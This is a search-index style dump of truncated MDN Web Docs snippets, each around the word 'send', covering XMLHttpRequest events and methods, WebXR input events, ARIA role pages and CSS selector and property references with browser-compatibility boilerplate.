html living standardthe definition of 'window.stop()' in that specification. living standard html5the definition of 'window.stop' in that specification. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstopchrome full support yesedge full support 14firefox full support yesie ...
Window.updateCommands() - Web APIs
the command state reflects the state of the selection by setting current state information in the "state" attribute of the xul command nodes. specification dom level 0. not part of specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupdatecommands non-standardchrome no support noedge no support nofirefox full support ye...
XMLHttpRequest: abort event - Web APIs
event); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.
send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); res...
XMLHttpRequest: error event - Web APIs
event); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.
send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); res...
XMLHttpRequest.getAllResponseHeaders() - Web APIs
example examines the headers in the request's readystatechange event handler, xmlhttprequest.onreadystatechange. the code shows how to obtain the raw header string, as well as how to convert it into an array of individual headers and then how to take that array and create a mapping of header names to their values. ...
XMLHttpRequest.getResponseHeader() - Web APIs
nd sent, and a readystatechange handler is established to look for the readystate to indicate that the headers have been received; when that is the case, the value of the content-type header is fetched. if the content-type isn't the desired value, the xmlhttprequest is canceled by calling abort(). var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.
send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xmlhttprequestthe definition of 'getresponseheader()' in that specification. living sta...
XMLHttpRequest: load event - Web APIs
event); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.
send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); res...
XMLHttpRequest: loadend event - Web APIs
event); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.
send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); res...
XMLHttpRequest: loadstart event - Web APIs
event); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.
send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); res...
XMLHttpRequest.onreadystatechange - Web APIs
hange = function () { // in local files, status is 0 upon success in mozilla firefox if(xhr.readystate === xmlhttprequest.done) { var status = xhr.status; if (status === 0 || (status >= 200 && status < 400)) { // the request has been completed successfully console.log(xhr.responsetext); } else { // oh no! there has been an error with the request! } } }; xhr.
send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.open() - Web APIs
existing one. note: calling this method for an already active request (one for which open() has already been called) is the equivalent of calling abort(). syntax xmlhttprequest.open(method, url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc. ignored for non-http(s) urls. url a domstring representing the url to
send the request to. async optional an optional boolean parameter, defaulting to true, indicating whether or not to perform the operation asynchronously. if this value is false, the
send() method does not return until the response is received. if true, notification of a completed transaction is provided using event listeners. this must be true if the multipart attribute is true, or an exception will...
XMLHttpRequest: progress event - Web APIs
event); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.
send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); res...
XMLHttpRequest.responseType - Web APIs
empty string is set as the value of responsetype, the default value of text is used. syntax var type = xmlhttprequest.responsetype; xmlhttprequest.responsetype = type; value a string taken from the xmlhttprequestresponsetype enum which specifies what type of data the response contains. when setting responsetype to a particular value, the author should make sure that the server is actually
sending a response compatible with that format. if the server returns data that is not compatible with the responsetype that was set, the value of response will be null. the values supported by responsetype are the following: "" an empty responsetype string is treated the same as "text", the default type. arraybuffer the response is a javascript arraybuffer containing binary data. blob the r...
XMLHttpRequest.responseXML - Web APIs
y string. example var xhr = new xmlhttprequest; xhr.open('get', '/server'); // if specified, responsetype must be empty string or "document" xhr.responsetype = 'document'; // force the response to be parsed as xml xhr.overridemimetype('text/xml'); xhr.onload = function () { if (xhr.readystate === xhr.done && xhr.status === 200) { console.log(xhr.response, xhr.responsexml); } }; xhr.
send(); specifications specification status comment xmlhttprequestthe definition of 'responsexml' in that specification. living standard whatwg living standard ...
XMLHttpRequest: timeout event - Web APIs
the timeout event is fired when progression is terminated due to preset time expiring. bubbles no cancelable no interface progressevent event handler property ontimeout examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.
send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification. living standard ...
XMLHttpRequestEventTarget.onabort - Web APIs
xmlhttprequest.abort() function is called. syntax xmlhttprequest.onabort = callback; values callback is the function to be executed when the transaction is aborted. example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onabort = function () { console.log('** the request was aborted'); }; xmlhttp.
send(); //.. xmlhttp.abort(); // this will invoke our onabort handler above specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XRInputSourceEventInit.frame - Web APIs
the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback). instead, the xrframe specified by the frame property is simply a method to provide access to the getpose() method, which you can use to get the relative positions of the objects in the scene at the time the event occurred. examples this example creates a new select event and
sends it to the xrsession. let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.frame' in that specification. working draft initial definition. ...
XRInputSourceEventInit.inputSource - Web APIs
inputsource = xrinputsource; let xrinputsourceeventinit = { inputsource: xrinputsource }; let xrinputsourceevent = new xrinputsourceevent(type, { inputsource: xrinputsource }); value an xrinputsource object indicating the source of the newly-created xrinputsourceevent to be created. the new object's inputsource will be set to this value. examples this example creates a new select event and
sends it to the xrsession. let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.inputsource' in that specification. working draft initial definition. ...
XRReferenceSpace: reset event - Web APIs
've started it up and although you're facing straight ahead, the headset thinks you're looking at the sky or the floor; or times when you point the hand controller straight forward, but it thinks you're pointing it up and to the right somewhere. when that happens, you typically hold down a button somewhere and it causes the world to resynchronize to the device's current orientation. that works by
sending a `reset` event to the reference space or reference spaces that are based on the headset's orientation. handling discontinuities you can handle jumps in the viewer's position by watching the boolean xrpose property emulatedposition. if a jump in the viewer's position coincides with emulatedposition toggling from true to false, the viewer has regained tracking, and that their new position rep...
XRSession: select event - Web APIs
ceevent event handler property onselect for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses addeventlistener() to set up a handler for the select event. the handler fetches the pose representing the target ray for tracked-pointer inputs and
sends the pose's transform to a function called myhandleselectwithray(). xrsession.addeventlistener("select", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }); you ...
XRSession: squeeze event - Web APIs
event handler property onsqueeze for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses addeventlistener() to set up a handler for the squeeze event. the handler fetches the pose representing the target ray for tracked-pointer inputs and
sends the pose's transform to a function called myhandlesqueezewithray(). this code treats the squeeze as an instantaneous action that doesn't involve tracking an ongoing activity. if you need to track a squeeze action that isn't instantaneous, listen for the squeezestart and squeezeend events to sense when the squeeze action begins and ends. xrsession.addeventlistener("squeeze", event => { if (ev...
XSL Transformations in Mozilla FAQ - Web APIs
why isn't my stylesheet applied? make sure the mime type for both source and stylesheet are set to an xml mimetype, namely text/xml or application/xml. the xslt namespace is http://www.w3.org/1999/xsl/transform. use the <?xml-stylesheet ?> processing instruction instead of the non-standard xml:stylesheet. the most common cause is the mime type handling. to find out which mime type your server
sends, look at page info, use extensions like livehttpheaders or a download manager like wget. mozilla won't load xslt stylesheets from a different domain for security reasons. note: starting in gecko 7.0, both text/xsl and application/xslt+xml are supported mime types for xslt media stylesheets. note that firefox will override your xslt stylesheet if your xml is detected as an rss or atom feed. a...
msWriteProfilerMark - Web APIs
based performance markers in addition to existing javascript api to learn exactly when parts of the page are being rendered, building a waterfall view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues. internet explorer 10. this method is also available in the web worker global scope. for windows xp, this method
sends an event to an event tracing session with traceevent; for systems after windows xp, this method writes an event with eventwrite. the event includes a pointer to a window object, current markup, and the event name passed as bstrprofilermarkname. the bstrprofilermarkname property has a 32-character limit when called from script. this method is useful to profile real website performance by using...
Using the alert role - Accessibility
description this technique demonstrates how to use the alert role and describes the effect it has on browsers and assistive technology. the alert role is used to communicate an important and usually time-sensitive message to the user. when this role is added to an element, the browser will
send out an accessible alert event to assistive technology products which can then notify the user about it. the alert role is most useful for information that requires the user's immediate attention, for example: an invalid value was entered into a form field the user's login session is about to expire the connection to the server was lost, local changes will not be saved because of its intrusive nature, the alert role must be used sparingly and only in situations where the user's immedi...
Using the group role - Accessibility
ogy. the group role is used to identify a set of user interface objects which, in contrast with a region, are not intended to be included in a table of contents or a page summary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page. when the role is added to an element, the browser will
send out an accessible group event to assistive technology products which can then notify the user about it. a group should be used to form a logical collection of items with related functionality, such as children in a tree widget forming a collection of siblings in a hierarchy, or a collection of items having the same container in a directory. however, when a group is used in the context of list, a...
Using the log role - Accessibility
role is used to identify an element that creates a live region where new information is added in a meaningful order and old information may disappear. for example, chat logs, messaging history or an error log. in contrast to other types of live region, this role is sequentially ordered and new information is only added to the end of the log. when this role is added to an element, the browser will
send out an accessible log event to assistive technology products which can then notify the user about it. by default updates contain only the changes to the live region and these are announced when the user is idle. where the user needs to hear the entire live region upon a change aria-atomic="true" should be set. to have announcements made as soon as possible and where the user may be interrupted, ...
Using the status role - Accessibility
description this technique demonstrates how to use the status role and describes the effect it has on browsers and assistive technology. the status role is a type of live region and a container whose content is advisory information for the user that is not important enough to justify an alert, and is often presented as a status bar. when the role is added to an element, the browser will
send out an accessible status event to assistive technology products which can then notify the user about it. status information content must be provided within a status object, and it should be ensured that this object does not receive focus. if another part of the page controls what appears in the status, the relationship should be made explicit via the aria-controls attribute. assistive technolog...
ARIA: checkbox role - Accessibility
ibute('aria-checked', "false"); break; case "false": item.setattribute('aria-checked', "true"); break; } } accessibility concerns when the checkbox role is added to an element, the user agent should do the following: expose the element as having a checkbox role in the operating system's accessibility api. when the aria-checked value changes,
send an accessible state changed event. assistive technology products should do the following: screen readers should announce the element as a checkbox, and optionally provide instructions on how to activate it. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. best practices ...
ARIA: textbox role - Accessibility
the textbox role is used to identify an element that allows the input of free-form text. whenever possible, rather than using this role, use an <input> element with type="text", for single-line input, or a <textarea> element for multi-line input. description when an element has the textbox role, the browser
sends an accessible textbox event to assistive technologies, which can then notify the user about it. the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contenteditable attribute ensures the text node is editable. <!-- simple text input field --> <div id="tx...
Alerts - Accessibility
each field has a set of criteria which must be met in order to pass validation. in order to simplify this example, we’ll check whether the e-mail address contains the...
Accessibility documentation index - Accessibility
accessibility no summary! 15 using the alert role aria, accessibility, advanced, css, example, html, needscontent, alert, alert role, alertrole, alerts, assitive technology, role configuration, wcag1.2.1, wcag3.3.1 the alert role is used to communicate an important and usually time-sensitive message to the user. when this role is added to an element, the browser will
send out an accessible alert event to assistive technology products which can then notify the user about it. the alert role is most useful for information that requires the user's immediate attention, for example: 16 using the alertdialog role aria, accessibility, codingscripting, html, needscontent, role(2), web development, agent, alertdialog, alerts, modal, user, useragent the ...
Keyboard-navigable JavaScript widgets - Accessibility
, and when an arrow key is used to move to another element: programmatically apply focus to the new element, update the tabindex of the focused element to "0", and update the tabindex of the previously focused element to "-1". here's an example of a wai-aria tree view using this technique. tips use element.focus() to set focus do not use createevent(), initevent() and dispatchevent() to
send focus to an element. dom focus events are considered informational only: generated by the system after something is focused, but not actually used to set focus. use element.focus() instead. use onfocus to track the current focus don't assume that all focus changes will come via key and mouse events: assistive technologies such as screen readers can set the focus to any focusable element. track ...
Web accessibility for seizures and physical reactions - Accessibility
aware of this ability, and it will need to play nice with the appropriate value for the prefers-color-scheme media query. light-level from w3c's draft document, media queries level 5 section on light-level: "the light-level media feature is used to query about the ambient light-level in which the device is used, to allow the author to adjust style of the document in response." this will be a god
send to those who have motor-skills problems, or for some with cognitive difficulties, who cannot find the right "button" to change their screen settings. prefers-contrast from w3c's draft document, media queries level 5 section on prefers-contrast: "the prefers-contrast media feature is used to detect if the user has requested the system increase or decrease the amount of contrast between adjacent ...
Text labels and names - Accessibility
ween the form element and the label is obvious from the structure. or, you can create an association between a <label> and a form element by specifying the form element's id value as the value of the label's for attribute. example <label>i agree to the terms and conditions. <input type="checkbox" id="terms"> </label> <input type="checkbox" id="emailoptin"> <label for="emailoptin">yes, please
send me news about this product.</label> form elements should have a visible text label in addition to having a <label> for every form element, those labels should be visible, not hidden. visible labels help all users understand the purpose of a form element. do not rely on placeholder text, because it disappears as soon as the user starts typing. frame elements must be labeled frame elements, bo...
::slotted() - CSS: Cascading Style Sheets
specifications specification status comment css scoping module level 1the definition of '::slotted' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet::slottedchrome full support 50edge full support 79firefox full support 63 ...
:checked - CSS: Cascading Style Sheets
on. working draft no change. selectors level 3the definition of ':checked' in that specification. recommendation defines the pseudo-class, but not the associated semantic browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:checkedchrome full support 1notes full support 1notes notes on macos, styling <option&rt; elements has no effect.edge ...
:defined - CSS: Cascading Style Sheets
d elements on the page specifications specification status comment html living standardthe definition of ':defined' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:definedchrome full support 54edge full support 79firefox full support 63ie ...
:has() - CSS: Cascading Style Sheets
h1:has(+ p) specifications specification status comment selectors level 4the definition of ':has()' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:has()chrome no support nonotes no support nonotes notes see bug 669058edge no support ...
:host-context() - CSS: Cascading Style Sheets
fications specification status comment css scoping module level 1the definition of ':host-context()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:host-context()chrome full support 54edge full support 79firefox no support nonotes ...
:host - CSS: Cascading Style Sheets
t. specifications specification status comment css scoping module level 1the definition of ':host' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:hostchrome full support 54edge full support 79firefox full support 63 f...
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
ference page. specifications specification status comment selectors level 4the definition of ':is()' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:is()chrome full support 68notes disabled full support 68notes disabled notes combinators in the selector list argument may not matc...
:link - CSS: Cascading Style Sheets
tion. recommendation lift the restriction to only apply it for <a> element. css level 1the definition of ':link' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:linkchrome full support 1edge full support 12firefox full support 1ie f...
:read-only - CSS: Cascading Style Sheets
html and constraint validation. selectors level 4the definition of ':read-only' in that specification. working draft defines the pseudo-class, but not the associated semantics. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:read-onlychrome full support 1edge full support 13firefox full support 78 ...
:read-write - CSS: Cascading Style Sheets
html and constraint validation. selectors level 4the definition of ':read-write' in that specification. working draft defines the pseudo-class, but not the associated semantics. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:read-writechrome full support 1edge full support 13firefox full support 78 ...
:scope - CSS: Cascading Style Sheets
> result specifications specification status comment selectors level 4the definition of ':scope' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:scopechrome full support 27edge full support 79firefox full support 32notes ...
:visited - CSS: Cascading Style Sheets
ed to the <a> element. lets browsers restrict its behavior for privacy reasons. css level 1the definition of ':visited' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:visitedchrome full support 1edge full support 12firefox full support 1ie ...
:where() - CSS: Cascading Style Sheets
= i | s specifications specification status comment selectors level 4the definition of ':where()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:where()chrome full support 72disabled full support 72disabled disabled from version 72: this feature is behind the #enable-experime...
@charset - CSS: Cascading Style Sheets
/ specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@charsetchrome full support 2edge full support 12firefox full support 1.5notes ...
@font-feature-values - CSS: Cascading Style Sheets
tions specification status comment css fonts module level 4the definition of '@font-feature-values' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@font-feature-valueschrome no support noedge no support nofirefox full support 34 ...
@supports - CSS: Cascading Style Sheets
or's draft adds the selector() function. css conditional rules module level 3the definition of '@supports' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@supportschrome full support 28edge full support 12firefox full support 22 ...
Border-image generator - CSS: Cascading Style Sheets
name; node.appendchild(info); } node.appendchild(slider_left); node.appendchild(input); node.appendchild(slider_right); this.input = input; sliders[topic] = this; setvalue(topic, value); }; inputslider.prototype.setinputvalue = function setinputvalue() { this.input.value = this.value.tofixed(this.precision) + this.unit; }; var setvalue = function setvalue(topic, value,
send_notify) { var slider = sliders[topic]; if (slider === undefined) return; value = parsefloat(value.tofixed(slider.precision)); if (value > slider.max) value = slider.max; if (value < slider.min) value = slider.min; slider.value = value; slider.node.setattribute('data-value', value); slider.setinputvalue(); if (
send_notify === false) return; notify.call(slider); }; ...
Border-radius generator - CSS: Cascading Style Sheets
nt('span'); info.classname = 'ui-input-slider-info'; info.textcontent = name; node.appendchild(info); } node.appendchild(slider_left); node.appendchild(input); node.appendchild(slider_right); node.classname = 'ui-input-slider ui-input-slider-container'; this.input = input; sliders[topic] = this; setvalue(topic, value); } var setvalue = function setvalue(topic, value,
send_notify) { var slider = sliders[topic]; if (slider === undefined) return; if (value > slider.max) value = slider.max; if (value < slider.min) value = slider.min; slider.value = value; slider.node.setattribute('data-value', value); if (
send_notify !== undefined &&
send_notify === false) { slider.input.value = value + slider.unit; return; } notify.call(slider); } va...
Color picker tool - CSS: Cascading Style Sheets
name; node.appendchild(info); } node.appendchild(slider_left); node.appendchild(input); node.appendchild(slider_right); this.input = input; sliders[topic] = this; setvalue(topic, value); }; inputslider.prototype.setinputvalue = function setinputvalue() { this.input.value = this.value.tofixed(this.precision) + this.unit; }; var setvalue = function setvalue(topic, value,
send_notify) { var slider = sliders[topic]; if (slider === undefined) return; value = parsefloat(value.tofixed(slider.precision)); if (value > slider.max) value = slider.max; if (value < slider.min) value = slider.min; slider.value = value; slider.node.setattribute('data-value', value); slider.setinputvalue(); if (
send_notify === false) return; notify.call(slider); }; ...
CSS Overflow - CSS: Cascading Style Sheets
hen content overflows a box. basic example the following interactive example shows how changing the value of the overflow property, changes how the overflow of a fixed height box is dealt with. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. reference css properties overflow overflow-block overflow-inline overflow-x overflow-y text-overflow block-overflow line-clamp max-lines continue non-standard properties -webkit-line-clamp specifications specification status comment css overflow module level 3the definition of 'overflow' in that specification. w...
CSS Scrollbars - CSS: Cascading Style Sheets
when you customize scrollbars, consider they have enough contrast and that their hit area is large enough for people who use touch input. baseline rules for scrollbar usability | adrian roselli browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. scrollbar-width desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollbar-widthchrome no support noedge no support nofirefox full support ...
Shapes From Images - CSS: Cascading Style Sheets
o move the text away from the shape, giving a margin around the created shape and the text. cors compatibility something that you will run into when creating shapes from an image is that the image you use must be cors compatible. an image hosted on the same domain as your site should work, however if your images are hosted on a different domain such as on a cdn you should ensure that they are
sending the correct headers to enable them to be used for shapes. due to this requirement for cors compatible images, if you are previewing your file locally without using a local web server, your shape will not work. is it a cors issue? devtools can help you to identify cors errors. in chrome the console will alert you to cors problems. in firefox if you inspect the property you will be alerted to ...
align-content - CSS: Cascading Style Sheets
on of space between and around content items along a flexbox's cross-axis or a grid's block axis. the interactive example below use grid layout to demonstrate some of the values of this property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this property has no effect on single line flex containers (i.e. ones with flex-wrap: nowrap). syntax /* basic positional alignment */ /* align-content does not take left and right values */ align-content: center; /* pack items around the center */ align-content: start; /* pack items from the start */ align-content: end; /* pack items from the end */ align-co...
align-items - CSS: Cascading Style Sheets
axis. in grid layout, it controls the alignment of items on the block axis within their grid area. the interactive example below demonstrates some of the values for align-items using grid layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* basic keywords */ align-items: normal; align-items: stretch; /* positional alignment */ /* align-items does not take left and right values */ align-items: center; /* pack items around the center */ align-items: start; /* pack items from the start */ align-items: end; /* pack items from the end */ align-items: flex-start; /* pack flex items from the start */ align-i...
align-self - CSS: Cascading Style Sheets
the align-self css property overrides a grid or flex item's align-items value. in grid, it aligns the item inside the grid area. in flexbox, it aligns the item on the cross axis. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the property doesn't apply to block-level boxes, or to table cells. if a flexbox item's cross-axis margin is auto, then align-self is ignored. syntax /* keyword values */ align-self: auto; align-self: normal; /* positional alignment */ /* align-self does not take left and right values */ align-self: center; /* put the item around the center */ align-self: start; /* put the item at the start...
all - CSS: Cascading Style Sheets
element's properties except unicode-bidi, direction, and css custom properties. it can set properties to their initial or inherited values, or to the values specified in another stylesheet origin. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* global values */ all: initial; all: inherit; all: unset; /* css cascading and inheritance level 4 */ all: revert; the all property is specified as one of the css global keyword values. note that none of these values affect the unicode-bidi and direction properties. values initial specifies that all the element's properties should be changed to their initial ...
<angle> - CSS: Cascading Style Sheets
